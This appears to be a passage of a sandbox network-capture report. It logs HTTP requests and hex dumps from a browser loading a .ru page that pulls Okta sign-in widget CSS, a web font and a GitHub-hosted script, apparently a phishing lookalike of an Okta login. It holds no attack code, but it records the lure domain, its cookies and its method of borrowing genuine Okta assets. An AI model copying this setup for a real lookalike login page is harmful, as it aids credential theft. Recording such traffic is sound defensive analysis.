2025-03-20 07:57:07 UTC	1369	IN	Data Raw: bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb 50 c6 9f 4f 98 df 5d 9d 2d f5 75 bf 22 77 4e Data Ascii: V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bxl4+/PO]-u"wN
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 ae 77 32 cd 82 30 0e 9b ce 90 a5 31 92 e6 8a Data Ascii: ^&j$A#u=\*-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4NZKP}'Mww201
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d 24 e8 a0 81 c5 15 54 3a 57 d4 fb fa 7e 00 4f Data Ascii: =RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0hL$T:W~O
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b 0c 00 0d d9 8f b1 f1 3f f9 72 dc 15 1d c1 58 Data Ascii: :IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QWD-w@]M"?rX

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	1375	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Origin: https://8rgz.mdrvgqsm.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
2025-03-20 07:57:07 UTC	1159	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:07 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Thu, 20 Mar 2025 07:57:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gHl2VbjeOjl6OREF0p%2F9ypmTtDtM8R4sUiZUJUDfP0KVniGE0P8GTBzqkb29nchnFwxcTY0LNfs2J%2FOGqZDlK8ohLF5HdExeiDTe4UJMY3BOZY44H4K1%2BFpJSuLk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=9968&min_rtt=9838&rtt_var=2866&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2330&delivery_rate=288084&cwnd=247&unsent_bytes=0&cid=dde6f40e1affc779&ts=604&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9233a8221b55c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97401&min_rtt=97171&rtt_var=20624&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1947&delivery_rate=38347&cwnd=231&unsent_bytes=0&cid=c124ca4862a7096b&ts=1048&x=0"
2025-03-20 07:57:07 UTC	210	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 10 a3 88 04 59 34 6c 91 7d 33 90 Data Ascii: "0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#Y4l}3
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 60 b4 14 3d 9f 2b bc 18 ac 1e 03 Data Ascii: ~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM`=+
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb 8f b7 36 b7 a4 2d 3b 6a b0 e7 2e Data Ascii: D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja6-;j.
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a 5f 00 bc 8d d8 d4 d9 ef 12 e4 22 Data Ascii: b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^_"
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 54 42 2b 69 23 6d a3 62 da a1 d2 Data Ascii: Fq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGgTB+i#mb
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b Data Ascii: G"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5mjZL[
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 Data Ascii: 5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_KND#{DC
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 2f 0c 6c f4 66 a1 58 c2 43 90 e8 Data Ascii: F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$/lfXC
2025-03-20 07:57:07 UTC	1369	IN	Data Raw: 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea 7d 7d ff 3a 26 44 1f 07 56 ee 98 Data Ascii: R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo}}:&DV

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	694	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:06 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 20 Mar 2025 07:57:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250320%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250320T075706Z&X-Amz-Expires=300&X-Amz-Signature=8bd858060b3934a4d316ad6181e89c4d5db866dffbd169926782b92ce73d00f4&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-20 07:57:06 UTC	3371	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:06 UTC	640	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:06 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 eef964f7ded2584b0acfd4f410d14ff2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: yMx4cCLhEulevOWo5TrF0wZ44Y72_9bxfH1Cm35UhEGebFir7guqBw== Age: 551275
